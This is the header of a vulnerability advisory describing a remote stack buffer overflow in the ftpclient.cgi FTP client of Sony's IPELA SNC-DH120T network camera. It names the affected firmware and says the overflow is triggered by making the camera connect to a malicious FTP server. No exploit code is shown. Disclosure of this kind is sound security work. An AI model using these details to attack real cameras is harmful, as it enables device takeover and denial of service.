# Sony IPELA Network Camera (ftpclient.cgi) Remote Stack Buffer Overflow

# Vendor: Sony Electronics Inc.

# Product web page: https://pro.sony

# Affected version: SNC-DH120T v1.82.01

# Summary: IPELA is Sony's vision of the ultimate workplace, designed to revolutionize

# the way business communicates over global IP networks. IPELA products can improve the

# efficiency of your organization by connecting people and places with high-quality audio

# and video. The SNC-DH120T is an indoor tamper proof, high definition (720p) minidome

# network security camera with Electronic Day/Night settings, DEPA analysis and is ONVIF

# compliant. It supports dual streaming of H.264, MPEG-4 and JPEG at full frame-rate.

# Desc: The vulnerability is caused due to a boundary error in the processing of received

# FTP traffic through the FTP client functionality (ftpclient.cgi), which can be exploited

# to cause a stack-based buffer overflow when a user issues a POST request to connect to a

# malicious FTP server. Successful exploitation could allow execution of arbitrary code on

# the affected device or cause denial of service scenario.

# Tested on: gen5th/1.x
